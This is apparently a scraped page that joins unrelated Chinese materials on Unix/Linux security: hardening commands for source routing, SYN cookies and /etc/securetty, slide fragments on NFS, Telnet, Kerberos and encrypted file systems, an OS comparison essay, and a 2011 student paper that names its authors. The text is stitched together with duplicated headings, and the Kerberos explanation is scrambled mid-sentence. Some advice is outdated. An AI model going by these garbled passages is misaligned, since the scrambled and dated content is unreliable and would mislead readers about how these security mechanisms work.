包如果黑客能够伪造原路径路由的信息包那么它就能截取返回的信息包并且欺骗你的计算机让它觉得正在和它交换信息的是可以信任的主机我强烈建议你禁止IP 原路径路由以避免这个安全漏洞用下面的命令在你的服务器上禁止 IP 原路径路由for f in /proc/sys/net/ipv4/conf/*/accept_source_route; doecho 0 > $fdone把上面的命令加到／etc／rc．d／rc．local 文件中去你就不用在系统重新启动之后再把这些命令敲一遍注意上面的命令将禁止所有的网络界面lo et h N pppN 等等的原路径路由包如果你打算安装书中介绍的 IPCHAINS 防火墙就不必用这些命令了因为在防火墙的脚本文件中已经包含这些命令了19.使TCP SYN Cookie 保护生效SY N A t ta c k是一种拒绝服务Do S的攻击方式会消耗掉系统中的所有资源迫使服务器重新启动拒绝服务这种攻击方式用巨大的信息流来消耗系统的资源以至千服务器不能够响应正常的连接请求是很容易被黑客利用的在2．1 系列的内核中syn c ookie 只是一个可选项并没有使其生效想要使其生效必须用下面的命令[root@deep]# echo 1 > /proc/sys/net/ipv4/tcp_syncookies把这个命令加入／etc／rc．d／rc．local 文件中等下次系统重新启动的时候就不必重新敲一遍了如果打算安装 IPCHAINS 防火墙你就没有必要用这个命令因为它已经包含在防火墙的脚本文件里了20.防火墙安全问题的另一个解决方案是把计算机主机和内部计算机间的信息传送同外部的网络隔离开只让内部网络与外部网络之间的信息交流通过一个安全的网关进行这样一个网关叫做防火墙在下面的一些章节我们会用很大的篇幅介绍防火墙21./etc/services 文件端口号和标准服务之间的对应关系在RF C1700A ssi g n e d N umbe rs”中有详细的定义／etc／s e r v i ce s文件使得服务器和客户端的程序能够把服务的名字转成端口号这张表在每一台主机上都存在其文件名是／etc／services 只有 root 用户才有权限修改这个文件而且在通常情况下这个文件是没有必要修改的因为这个文件中已经包含了常用的服务所对应的端口号为了提高安全性我们可以给这个文件加上保护以避免没有经过授权的删除和改变为了保护这个文件可以用下面的命令[root@deep]# chattr +i /etc/services22./etc/securetty 文件／etc／securetty 文件允许你规定 root 用户可以从那个 TTY 设备登录登录程序通常是／bin／login 需要读取／etc／securetty 文件它的格式是列出来的tty 设备都是允许登录的注释掉或是在这个文件中不存在的都是不允许 root 登录的注释掉在这一行的开头加上号所有你想不让root 登录的tty 设备编辑securetty 文件vi ／etc／securetty 象下面一样注释掉一些行tty1#tty2#tty3#tty4#tty5。
操作系统安全 第10部分 linux、unix 系统安全
NFS安全
• • • • • • 禁止NFS服务,或以AFS服务取而代之(Andrew File System) 如果一定要开NFS,不要让一个单机可以既是client,也是server export出的文件系统只设置为只读 禁止那些有SUID特性的程序的执行 不要export home 目录 不要export可执行特性
SSH
• SSH(secure Shell)是一个用来替代TELNET、FTP 以及R命令的工具包，旨在解决口令在网上明文传 输的问题。
NFS安全
NFS(network file system)是由SUN公司开发, 并于1984年推出， NFS的功能在于提供不同机器间的档案分享与共用 . NFS的不安全性主要体现于以下4个方面: – 新手对NFS的访问控制机制难于做到得心应手,控制目标 的精确性难以实现 – NFS没有真正的用户验证机制,而只有对RPC/Mount请求 的过程验证机制 – 较早的NFS可以使未授权用户获得有效的文件句柄 – 在RPC远程调用中,一个SUID的程序就具有超级用户权限
改变文件的属组工具 chgrp
• 它的用户和chown 类似，只不过它仅是用来改变文 件或目录的属组的；-R参数用于目录及目录下所有 文件改变属组的。它和chown的用法是一样的。
Telnet安全
telnet有以下几个严重缺陷： • 口令没有加密，第三者可用嗅探器捕获到口令。 • Telnet没有采用强用户认证。 • Telnet不进行会话完整性检查。 • Telnet会话没有加密。
•
• • • • • • • • • •
Linux 文件属性概述
例:90297 -rw-r--r-- 1 root root 52 Aug 22 16:56 .DCOPserver_linux__0
windows和linux和unix系统
windows和linux和unix系统Windows、Linux和Unix系统是当今世界上最为常见的操作系统之一。
它们各自拥有独特的特点和优势，广泛应用于各个领域。
本文将从功能、安全性和适用场景三个方面对这三个操作系统进行比较，以帮助读者更好地了解它们。
一、功能1. Windows系统Windows系统是由微软公司开发和销售的一种操作系统。
它以友好的图形用户界面（GUI）著称，易于使用且操作简单。
Windows系统具有广泛的软件和应用程序支持，可供用户选择和安装。
此外，Windows 系统还提供了丰富的媒体功能，例如音乐、视频和游戏。
2. Linux系统Linux系统是一种开源的操作系统，具有高度的可定制性和稳定性。
Linux系统采用命令行界面（CLI），适合有一定技术基础的用户。
它支持多用户、多任务和多线程，并且具有强大的网络功能。
此外，Linux系统还支持众多编程语言和开发工具，广泛应用于服务器环境、嵌入式设备等领域。
3. Unix系统Unix系统是在1960年代由贝尔实验室开发的操作系统，是现代操作系统的鼻祖。
Unix系统具有良好的可移植性和扩展性，适合高性能和大规模的计算环境。
它支持多用户、多任务和多进程，并提供了强大的网络和安全功能。
Unix系统被广泛应用于科学计算、大型服务器和工程领域。
二、安全性1. Windows系统Windows系统在安全性方面面临较高的挑战。
由于其广泛的用户群体和应用程序生态系统，Windows系统经常成为网络攻击的目标。
为了应对安全威胁，微软加强了对操作系统的安全性改进和更新。
然而，Windows系统依然需要用户进行及时的安全补丁和防病毒软件的更新，以保护个人数据和系统安全。
2. Linux系统相比Windows系统，Linux系统在安全性方面表现更为出色。
Linux 系统的开源特性意味着许多开发者都对系统进行了审查和改进，有助于及时发现和解决安全漏洞。
此外，Linux系统具备强大的用户权限管理和访问控制机制，提供了更好的数据安全保护。
UNIX-Linux操作系统安全技术
1.2 Linux的安全技术
2、加密文件系统 加密文件系统就是将加密服务引入文件系统，从
而提高计算机系统的安全性，比如防止硬盘被偷窃、 防止未经授权的访问等。
Linux有多种加密文件系统，如CFS、TCFS、 CRYPTFS等，较有代表性的是TCFS（Transparent Cryptographic File System）。它通过将加密服务和 文件系统紧密集成，使用户感觉不到文件的加密过 程。TCFS不修改文件系统的数据结构，备份与修复 以及用户访问保密文件的语义也不变。
NT系统中有一个安全帐号数据库，其中存放的 内容有用户帐号以及该帐号所具有的权力等。用户 对系统资源所具有的权限则与特定的资源一起存放。
4.4.1 Windows NT系统安全模型
Windows2000的安全子系统
4.4.2 Windows NT的安全管理
对Windows NT的安全管理进行设置： ➢帐户规则 ➢功能组及相应权限 ➢设置锁定限制 ➢充分利用NTFS ➢设置审核规则 ➢Repair目录权限的管理 ➢其他安全管理的措施
1.2 Linux的安全技术
TCFS能够做到让保密文件对以下用户不可读取： ➢合法拥有者以外的用户； ➢用户和远程文件系统通信线路上的偷听者； ➢文件系统服务器的超级用户。 ➢而对于合法用户，访问保密文件与访问普通文件 几乎没有区别。
1.2 Linux的安全技术
3、安全审计 Linux检测、记录时间信息和网络连接情况，并将所
计算机网络安全技术
UNIX/Linux操作系统安全技术
• 1.1 UNIX/Linux系统安全概述 • 1.2 Linux的安全技术
1.1 UNIX/Linux系统安全概述
UNIX操作系统是当前使用普遍、影响深远的 工业界主流操作主流操作系统。
Unix Linux操作系统安全技术
计算机科学与工程系
8.5.1 Unix系统之间安全通信的实现 系统之间安全通信的实现
• Unix系统之间的安全通信主要是是靠UUCP实现的。 UUCP，Unix-to-Unix Copy的缩写，UUCP系统主要完 成远程文件传输，包括各种文件的远程复制、执行系统 之间的命令、维护系统使用情况的统计等等。 • UUCP是UNIX操作系统上最广泛使用的网络实用系统， 在Internet兴起之前是UNIX系统之间连网的主要方式。 主要是因为： • （1）UUCP是各UNIX版通用的唯一标准网络系统 • （2）通过UUCP建立网络系统简单，
计算机科学与工程系
PAM认证机制 认证机制
计算机科学与工程系
8.2 口令安全与访问控制 Unix中常用的口令机制 中常用的口令机制 • 用户口令技术 • 影子口令机制 • 一次性口令机制
计算机科学与工程系
8.3 文件系统安全 文件和目录的权限 文件系统完整性检查
计算机科学与工程系
8.3.1 文件和目录的权限
计算机科学与工程系
8.5.1 Unix系统之间安全通信的实现 系统之间安全通信的实现
计算机科学与工程系
8.5.2 Kerberos认证机制 认证机制
计算机科学与工程系
8.5.2 Kerberos认证机制 认证机制
计算机科学与工程系
计算机科学与工程系
计算机科学与工程系
Kerberos 身份验证的工作原理
用户名 TGT+时间戳 时间戳 TGT+SA KAB KAB
客户端需要访问同一域中的成员服务器上的资源时， 当 Kerberos 客户端需要访问同一域中的成员服务器上的资源时， KDC 查找用户的主密钥（KA），主密钥基于用户的密码。然后 查找用户的主密钥（ ），主密钥基于用户的密码。 ），主密钥基于用户的密码 它会联系 KDC。客户端将提供 TGT ，并通过单向哈希函数加密 。 接收到信息， 客户端计算机从 KDC 接收到信息 和用已经与 KDC 共享的会话密 创建两项：一个与用户共享的会话密钥（ ） ，KDC 创建两项：一个与用户共享的会话密钥（SA）和一张票 当用户输入用户名和密码后， 当用户输入用户名和密码后 创建一对票证，一张给客户端 。 钥加密的时间戳，接着， 创建一对票证，一张给客户端， 钥加密的时间戳，接着，KDC，计算机将用户名发送给 KDC。 ，另 用户的密码， 用户的密码，这样就将密码转换成了用户的 KA。客户端计算 。 证授予式票证（ ）。TGT 证授予式票证（TGT，Ticket-Granting Ticket）。 ， ）。 、 KDC 包含一个主数据库，该数据库保存了其领域内每个安全 包含一个主数据库， 一张给客户端需要访问的资源所在的服务器， 包含 SA、用 一张给客户端需要访问的资源所在的服务器，KDC KDC 安全 机现在有一个会话密钥和一个 TGT，这样就可以与 获取服务器的 ， 户名和过期时间的第二个副本。KDC 使用它自身的主密钥（ 户名和过期时间的第二个副本。 使用它自身的主密钥（ 通信了 票证，并使用服务器主密钥（KB）加密它。然后 KDC 将服务器的 票证主体独有的长期密钥 ，并使用服务器主密钥（ ）加密它。 KKDC）加密此票证，此主密钥只有 KDC 知道 ）加密此票证， 票证嵌套在客户端的票证内，这样， 票证嵌套在客户端的票证内，这样，客户端的票证也含有该 KAB
linux系统的安全性概述论文（推荐文档）
linux系统的安全性概述论文（推荐文档）Unix/linux系统的安全性概述1、linux系统的介绍Linux是一类Unix计算机操作系统的统称。
Linux操作系统的内核的名字也是“Linux”。
Linux操作系统也是自由软件和开放源代码发展中最著名的例子。
严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU 工程各种工具和数据库的操作系统。
Linux得名于计算机业余爱好者Linus T orvalds。
Linux，其安全性漏洞已经广为流传，黑客可以很容易地侵入。
而网络服务器往往储存了大量的重要信息，或向大量用户提供重要服务；一旦遭到破坏，后果不堪设想。
所以，网站建设者更需要认真对待有关安全方面的问题，以保证服务器的安全。
2、服务安全管理2.1、安全防护的主要内容对于网站管理人员而言，日常性的服务器安全保护主要包括四方面内容：文件存取合法性：任何黑客的入侵行为的手段和目的都可以认为是非法存取文件，这些文件包括重要数据信息、主页页面HTML文件等。
这是计算机安全最重要的问题，一般说来，未被授权使用的用户进入系统，都是为了获取正当途径无法取得的资料或者进行破坏活动。
良好的口令管理(由系统管理员和用户双方配合)，登录活动记录和报告，用户和网络活动的周期检查都是防止未授权存取的关键。
用户密码和用户文件安全性：这也是计算机安全的一个重要问题，具体操作上就是防止已授权或未授权的用户相互存取相互的重要信息。
文件系统查帐、su登录和报告、用户意识、加密都是防止泄密的关键。
防止用户拒绝系统的管理：这一方面的安全应由操作系统来完成。
操作系统应该有能力应付任何试图或可能对它产生破坏的用户操作，比较典型的例子是一个系统不应被一个有意使用过多资源的用户损害 (例如导致系统崩溃 )。
防止丢失系统的完整性：这一方面与一个好系统管理员的实际工作(例如定期地备份文件系统，系统崩溃后运行 fsck检查、修复文件系统，当有新用户时，检测该用户是否可能使系统崩溃的软件)和保持一个可靠的操作系统有关(即用户不能经常性地使系统崩溃 )。
Linux操作系统的介绍
Linux操作系统的介绍Linux操作系统是一种开源的、免费的操作系统，广泛应用于各个领域，包括个人计算机、服务器、嵌入式设备等。
它以其稳定性、安全性和灵活性而闻名，并且拥有强大的社区支持。
本文将对Linux操作系统的特点、应用领域以及其它相关信息进行介绍。
一、Linux操作系统的特点1. 开源性：Linux操作系统的源代码对所有人开放，任何人都可以查看、修改和分发。
这使得用户可以自由地定制和改进系统，提高稳定性和功能性。
2. 多用户多任务：Linux支持多用户多任务的并发操作，可以同时运行多个应用程序，并为每个用户提供独立的工作环境。
3. 稳定性和可靠性：Linux操作系统以其良好的稳定性而闻名。
它可以持续运行数月甚至数年而不需要重新启动，并且能够自动处理系统错误和崩溃。
4. 安全性：Linux操作系统被广泛认为是相对安全的操作系统之一。
它拥有丰富的安全机制，能够防止恶意软件和网络攻击，并提供强大的权限控制功能。
5. 灵活性和可定制性：Linux操作系统允许用户自由地安装、卸载和配置软件，满足不同用户的个性化需求。
用户可以选择不同的桌面环境和应用软件，以创建自己喜欢的工作环境。
二、Linux操作系统的应用领域1. 个人计算机：越来越多的个人计算机用户选择Linux作为他们的操作系统。
Linux提供了丰富的办公软件、娱乐软件和开发工具，满足了绝大多数个人用户的需求。
2. 服务器：Linux在服务器领域得到了广泛应用。
其稳定性和性能使得它成为托管网站、电子邮件服务器、数据库服务器等的首选操作系统。
3. 嵌入式设备：Linux被广泛应用于嵌入式系统领域，如智能手机、智能电视、路由器等。
其灵活性和可定制性使得它适合于各种不同的嵌入式设备应用。
4. 科学研究：Linux提供了丰富的科学计算工具和开发环境，被广泛用于科学研究领域。
研究人员可以利用Linux进行复杂的数值计算、模拟和仿真。
5. 教育和学术界：Linux被广泛应用于教育和学术界。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
计算机网络安全技术题目：Unix/linux系统的安全性概述班级：09 级达内班组长：朱彦文学号：09700308组员：冯鑫学号：09700310组员：刘新亮学号：09700309组员：梁小文学号：09700312组员：龚占银学号：09700313组员：高显飞学号：09700304组员：陶志远学号：09700305时间：2011年6月目录1、linux系统的介绍 (1)2、服务安全管理 (1)2.1、安全防护的主要内容 (1)3、linux系统文件安全 (1)3.1、文件相关权限的设置 (2)3.2、SUID和SGID程序 (2)4、用户访问安全 (2)4.1、口令安全 (2)4.2、登录安全 (3)5、防火墙、IP伪装个代理服务器 (4)5.1、什么是防火墙 (4)5.2防火墙分类 (4)6、服务器被侵入后的处理 (5)7、日常安全注意事项 (5)8、参考文献 (6)Unix/linux系统的安全性概述1、linux系统的介绍Linux是一类Unix计算机操作系统的统称。
Linux操作系统的内核的名字也是“Linux”。
Linux操作系统也是自由软件和开放源代码发展中最著名的例子。
严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux 来形容整个基于Linux内核，并且使用GNU 工程各种工具和数据库的操作系统。
Linux得名于计算机业余爱好者Linus Torvalds。
Linux，其安全性漏洞已经广为流传，黑客可以很容易地侵入。
而网络服务器往往储存了大量的重要信息，或向大量用户提供重要服务；一旦遭到破坏，后果不堪设想。
所以，网站建设者更需要认真对待有关安全方面的问题，以保证服务器的安全。
2、服务安全管理2.1、安全防护的主要内容对于网站管理人员而言，日常性的服务器安全保护主要包括四方面内容：文件存取合法性：任何黑客的入侵行为的手段和目的都可以认为是非法存取文件，这些文件包括重要数据信息、主页页面 HTML文件等。
这是计算机安全最重要的问题，一般说来，未被授权使用的用户进入系统，都是为了获取正当途径无法取得的资料或者进行破坏活动。
良好的口令管理 (由系统管理员和用户双方配合 )，登录活动记录和报告，用户和网络活动的周期检查都是防止未授权存取的关键。
用户密码和用户文件安全性：这也是计算机安全的一个重要问题，具体操作上就是防止已授权或未授权的用户相互存取相互的重要信息。
文件系统查帐、su登录和报告、用户意识、加密都是防止泄密的关键。
防止用户拒绝系统的管理：这一方面的安全应由操作系统来完成。
操作系统应该有能力应付任何试图或可能对它产生破坏的用户操作，比较典型的例子是一个系统不应被一个有意使用过多资源的用户损害 (例如导致系统崩溃 )。
防止丢失系统的完整性：这一方面与一个好系统管理员的实际工作 (例如定期地备份文件系统，系统崩溃后运行 fsck检查、修复文件系统，当有新用户时，检测该用户是否可能使系统崩溃的软件 )和保持一个可靠的操作系统有关 (即用户不能经常性地使系统崩溃 )。
3、linux系统文件安全Linux的文件系统是由文件和目录构成的树形结构，每个文件目录记录包括下面内容(域)：•文件名•文件类型•文件大小•文件创建修改时间•文件所有者和所有组•文件相关权限任何一项内容遭受未授权的修改，文件安全性都遭到破坏。
保护文件系统的安全性，应该从以下几个方面入手。
3.1、文件相关权限的设置Linux的文件权限决定了用户对该文件的操作能力和操作允许范围。
下面这一段是在某个Linux用户目录的文件列表 (ls -l)，注意，其中第一栏表示了文件权限。
文件权限通过设置文件权限标志位实现。
标志位由十位构成。
第一位是文件类型，一般文件该位为“ -”，目录该位为“ d”(如上面的 1、2、4、8行)。
余下的九位三位一组，第二位到第四位依次为文件所有者对此文件的可读、可写、可执行权利标志位；第五到第七位分别为与该用户同组的用户对此文件的可读、可写、可执行的权利标志位：第八到第十位分别为其他用户对此文件的可读、可写、可执行的权利标志位。
比如：上面的第一个目录中，“ drwxrwxr-x”就表示这是一个目录，文件所有者(用户 bluo)可以对文件进行任何操作 (读、写、执行 ) ，同组用户可读、写、执行，其他用户可读和执行。
而“ -rw-r--r--”表示普通文件，文件所有者可读、写，其他用户只可读此文件。
当一些关键的系统文件的属性被错误设置时，就会导致不可挽回的破坏。
对文件属性一定要非常小心，否则可能导致致命的安全漏洞。
3.2、SUID和SGID程序与文件有关的还有两个附加权限位 SUID和SGID。
SUID是SetUserID(设置用户标识 )的缩写，SGID是SetGroupID(设置组标识 )的缩写。
带有这种权限的程序运行时就会带来很大的安全性漏洞。
因为当运行一个 SUID程序时，它的有效UID被设置为拥有该程序的用户 ID，而不管实际上是哪个用户在运行， SGID与此类似。
所以虽然 SUID程序是必需的，但应该尽量减少使用机会，并且要尽最大努力保证此程序安全。
作为管理员还应该经常使用find命令来浏览自己的文件系统以检查新的 SUID程序，详细语法请参考文件权限章节中的相关内容。
4、用户访问安全4.1、口令安全每个Linux的用户都拥有一个帐号，通过登录到这个帐号才能有限制地使用系统。
而保护自身的文件安全的惟一屏障就是口令，一旦这道屏障被突破，此用户及整个系统的安全便无法得到保证。
从安全角度看，口令最好是随机产生的，并且不断变换的。
但实际上任何一个用户都不愿意成天花费时间去记忆刚刚更换过的口令，这是一对矛盾。
所以用户应该做到尽可能保持频繁的口令更换频率，并且聪明地选择自己的口令保证其安全。
切忌选用与自己有关的一些数字、名词、住址、配偶名称、宠物名称、电话号码等，更不要选用字典中的词汇作为口令。
因为当今使用的很多破解口令程序都是通过一定的加密算法将字典中的词汇一个一个与口令作比较，以期闯入系统。
另外从概率角度讲，口令位数每增加一位，被破解的可能性就会相差很多数量级，因此在系统允许的范围内尽可能长地设置自己的口令实为明智之举。
那么怎么选择一个好口令呢？这里推荐三种常用方法：一是选择一个自己比较熟悉的短语或者是谚语，取出每个单词或者某短句中每个汉字对应的拼音的第一或者某一位组合起来形成口令，这样一来形成的口令接近于随机字符序列，但同时也容易记忆。
比如：好好学习天天向上。
得到的口令就是： hhxxttxs。
二是选择两个较短的单词，其间用符号或者某特定的字母加以连接，比如：dear-user-linux。
还有一种方法是采用一个故意拼写错误的单词，比如：Limux；或者使用故意加入语法错误的短语，比如： a-girls。
这样产生的口令被破解的机会就小多了。
最后最关键的是用户应当牢牢记住自己的口令，最好不要把口令写在任何地方，只有自己的脑袋是保险的。
如果实在是对记忆能力缺乏信心，那么也建议将口令藏在某个不起眼的短句中。
比如：口令是box！Here，那么将Don’t touch the top of box！Here！写到一张纸条上，贴在电源上就显得非常自然。
4.2、登录安全如果用户口令得到了良好的保证，那么紧接着的第二部分就是登录和帐号的安全性问题。
这便涉及在系统中查找可能有安全问题的帐号并及时处理。
首先很多黑客是使用没有口令的帐号进入计算机系统的，作为管理员应该经常检查口令文件，查找这种帐号，一旦发现，应该立刻通知用户或者禁止其使用。
其次对于不使用的帐号应该及时删除，使之不至于成为黑客进入的通道。
即使不删除此帐号，至少也应该在口令字段写入符号，暂时停止此帐号的使用。
再次，对于几个标准系统帐号，一般情况下应该禁止这些帐号的使用。
因为这些帐号几乎是每个非法闯入者的目标，即使使用再好的口令，也有被破解的可能，所以最安全的办法就是禁止其使用。
还有一些软件在安装过程中会自动在系统中创建帐号，所以一定要注意禁止这些帐号的使用。
对于匿名访问者帐号 (guest)，一般情况下是不建议使用的。
这种帐号是为来访者提供的帐号，使他们能够使用本机上的某些资源，获得部分权限。
但同时由于guest帐号一般不设密码，所以也是进入系统的捷径。
黑客进入系统以后可以进一步获得更高的权限，可能导致安全性灾难。
黑客将尽力取得 root权限，同时以此为基点进攻网络上其他的机器，这使得追查其来源更加不容易。
所以尽可能不要使用 guest帐号。
系统中还有几个命令帐号，也就是运行给定命令然后退出。
这些帐号没有口令，虽然它们并不运行 shell，但是从安全方面也是极其危险的。
比如使用finger登录时， finger程序便运行起来，显示该系统用户，显示后结束运行。
类似的帐号还有sync和date。
这种帐号可能会泄露系统的有关信息。
系统安全实际上是由登录帐号和对应口令共同保证的，如果入侵者获得了系统用户的帐号，那他已经成功了一半。
最后是关于组帐号的问题。
组帐号是供多人使用的同一个帐号。
这对系统安全是极为不利的。
因为如果组帐号被人闯入，那么寻找泄露口令的用户是非常困难的。
所以建议创建帐号时遵循“一个帐号一个用户”的原则。
5、防火墙、IP伪装个代理服务器5.1、什么是防火墙防火墙是汽车中一个部件的名称。
在汽车中，利用防火墙把乘客和引擎隔开，汽车引擎一旦着火，防火墙不但能保护乘客安全，同时还能让司机继续控制引擎。
在电脑中，防火墙是一种装置，可使个别网络不受公共部分 (整个Internet)的影响。
本文将防火墙电脑称为“防火墙”，它能同时连接受到保护的局域网络和Internet两端。
这样受到保护的网络无法连接到 Internet，Internet也无法连接到受到保护的网络。
如果要从受到保护的网络内部接到 Internet网络，就得telnet到防火墙，然后从防火墙连上 Internet。
最简单的防火墙是 dual homed 系统(具有两个网络联结的系统)。
只要配置一台Linux主机(配置时将IPforwarding/gatewaying 设为OFF)，并为每人设一帐户，他们就能登录这一主机，使用telnet、FTP，阅读电子邮件和使用所有这台主机提供的任何其他服务。
根据这项配置，这一网络中惟一能与外界联系的电脑便是这个防火墙。
Linux 2.2.x 内核用 ipchains代替了原来 2.0内核中的 ipfwadm。
ipchains较之以前的ipfwadm语法变动很大，如果想了解更多的命令和语法，可以参考ipchains howto (/linux)，或者运行 ipchains -help。